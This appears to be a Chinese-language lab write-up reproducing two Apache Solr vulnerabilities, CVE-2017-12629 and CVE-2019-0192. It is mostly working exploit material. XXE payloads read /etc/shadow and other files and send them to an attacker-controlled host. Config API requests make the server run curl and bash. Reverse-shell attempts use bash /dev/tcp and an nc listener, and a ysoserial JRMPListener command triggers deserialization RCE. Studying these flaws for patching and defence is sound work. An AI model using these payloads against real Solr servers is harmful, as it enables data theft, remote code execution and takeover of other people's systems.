目录
CVE-2017-12629
- XXE
- RCE
- 未实现的反弹shell
- 坑点
CVE-2019-0192
关于solr的部署问题,大家参见这里:
https://www.jianshu.com/p/6c7dc45fb28a
本次研究涉及到的XXE&RCE包括CVE-2017-12629
(存在于7.1.0以前版本)和CVE-2019-0192
(存在于5.00至5.5.5版本和6.00至6.6.5版本)。
CVE-2017-12629
XXE
最快捷的检测方式当然是借助DNSLog,当然也可以自己搭建Apache作为日志获取平台,Payload如下:
{!xmlparser v='<!DOCTYPE a SYSTEM "http://rabbit.xxxxx.ceye.io/xxe_test"><a></a>'}&wt=xml
当Solr解析这个请求时,它会发出一个HTTP请求http://rabbit.xxxxx.ceye.io/xxe_test并将其内容定义为DOCTYPE。
考虑到我们可以在搜索查询中定义解析器类型,它通常来自不受信任的用户输入,例如网站上的搜索字段。它允许外部攻击者向本地Solr实例发出任意HTTP请求,并绕过所有防火墙限制。
接下来进行初步检测,使用之前记得url编码处理,然后执行:
400 请求出错 由于语法格式有误,服务器无法理解此请求。
收到400的报错,但查看下我们的DNSLog:
到这里我们基本可以确定了,目标Solr存在XXE漏洞,然后我们来尝试下更深层的利用:任意文件读取。
作为XXE钉子户,在此我依然选择xxeserve作为数据接收端,构造如下Payload:
{!xmlparser v='<!DOCTYPE a [<!ENTITY % remote SYSTEM "http://172.16.222.200:2333/xml?f=/etc/shadow">%remote;%int;%trick;]>'}&wt=xml
唉?翻车了?权限不足导致被拒?对哦,我使用的普通用户运行的solr,不过,万一谁习惯root用户运行呢?
在这里我们尝试访问一个普通文件:/tmp/flag.txt
{!xmlparser v='<!DOCTYPE a [<!ENTITY % remote SYSTEM "http://172.16.222.200:2333/xml?f=/tmp/flag.txt">%remote;%int;%trick;]>'}&wt=xml
成功读取文件内容,此处颇为惊喜,居然是做了两次http请求:
RCE
RCE存在于核心的config模块,主要是RunExecutableListener
创建的侦听器带来的问题:
同样,最基本的测试我们借助DNSLog来实现。(同样可以借助Apache或NC代替),初步测试我们借助curl
命令来做下载请求:
POST /solr/rabbit/config HTTP/1.1
Host: 172.16.222.200:1988
Connection: close
Upgrade-Insecure-Requests: 1
Content-Type: application/json
Content-Length: 229
{
"add-listener" : {
"event":"newSearcher",
"name":"rabbit_rce",
"class":"solr.RunExecutableListener",
"exe":"curl",
"dir":"/usr/bin/",
"args":["http://rabbit_rce.xxxxx.ceye.io/rce_test"]
}
}
在DNSLog上我们可以看到请求,说明命令执行成功,即curl命令成功远程执行。
当然了,仅仅是一个get请求充其量只能算个poc,我们来尝试下执行其他命令,如bash
命令:
POST /solr/rabbit/config HTTP/1.1
Host: 172.16.222.200:1988
Connection: close
Upgrade-Insecure-Requests: 1
Content-Type: application/json
Content-Length: 207
{
"add-listener" : {
"event":"newSearcher",
"name":"who",
"class":"solr.RunExecutableListener",
"exe":"bash",
"dir":"/bin/",
"args":["-c", "whoami",">>","/tmp/1.txt"]
}
}
我们去确认下命令执行情况:
当然了,真实环境下我们可以借助刚刚XXE实现的任意文件读取来查看我们的命令执行结果:
{!xmlparser v='<!DOCTYPE a [<!ENTITY % remote SYSTEM "http://172.16.222.200:2333/xml?f=/tmp/1.txt">%remote;%int;%trick;]>'}&wt=xml
如上,便是XXE & RCE的联合攻击基础使用。
未实现的反弹shell
唉,那啥,漫漫征途其实远没有终止,只是经历了一周的研究后也没有突破,在此记录一下感兴趣的小伙伴可以一起研究下。
RCE反弹shell
nc -lvvp 1988
POST /solr/rabbit/config HTTP/1.1
Host: 172.16.222.200:1988
Connection: close
Upgrade-Insecure-Requests: 1
Content-Type: application/json
Content-Length: 221
{
"add-listener" : {
"event":"newSearcher",
"name":"nc6",
"class":"solr.RunExecutableListener",
"exe":"bash",
"dir":"/bin/",
"args":["-i",">&","/dev/tcp/172.16.222.194/1988","0>&1"]
}
}
bash -c
命令之前我们已经成功了,然后我就想借助bash实现反弹shell岂不美滋滋,然而并没有成功,这、、这不科学,此为疑惑一。
XXE&RCE反弹shell
既然单纯的RCE无法反弹shell,能不能借助XXE实现内部post请求来实现shell反弹呢?于是我就这么做了,借助XXE产生的请求替换为post请求,发送数据包来实现反弹shell:
{!xmlparser v='<!DOCTYPE a SYSTEM "http://172.16.222.200:1988/solr/rabbit/select?q=1&qt=/solr/rabbit/config?stream.body={"add-listener":{"event":"postCommit","name":"post","class":"solr.RunExecutableListener","exe":"sh","dir":"/bin/","args":["-c","$@|sh",".","echo","/bin/bash","-i",">&","/dev/tcp/172.16.222.194/1988","0>&1"]}}&shards=172.16.222.200:1988/"><a></a>'}
然而!我又翻车了QAQ,此为疑惑二。
坑点
- 记得URL编码,但是只是
{ }
及其包含的内容进行编码,&wt=xml
等内容不要进行编码。 - 命令执行写文件不要贪,实测出现换行,即多条数据读取失败,当然这里也可能跟我的xxeserve有关。
CVE-2019-0192
在文章的最后稍微补充一下CVE-2019-0192远程命令执行漏洞,为什么篇幅这么短呢,因为相对于CVE-2017-12629,它实在谈不上好玩。
答案自然是条件苛刻,必须要使用JRE7u25以下版本,不过对于旧版本的solr还是比较常见的。
用到反序列化工具包ysoserial,借助payload——Jdk7u21
监听 :
java -cp ysoserial.jar ysoserial.exploit.JRMPListener 1099 Jdk7u21 "touch /tmp/rabbitmask"
POST /solr/rabbit/config HTTP/1.1
Host: 172.16.222.200:1988
Connection: close
Upgrade-Insecure-Requests: 1
Content-Type: application/json
Content-Length: 93
{"set-property": {"jmx.serviceUrl": "service:jmx:rmi:///jndi/rmi://172.16.222.194:1099/obj"}}
当然,如果远程测试环境的话我们依然借助DNSLog来确认测试结果:
java -cp ysoserial.jar ysoserial.exploit.JRMPListener 1099 Jdk7u21 "ping -c 2 rabbit.xxxxx.ceye.io"
那么,本章就讨论到这里,关于两处未完成的疑惑,欢迎小伙伴私信讨论。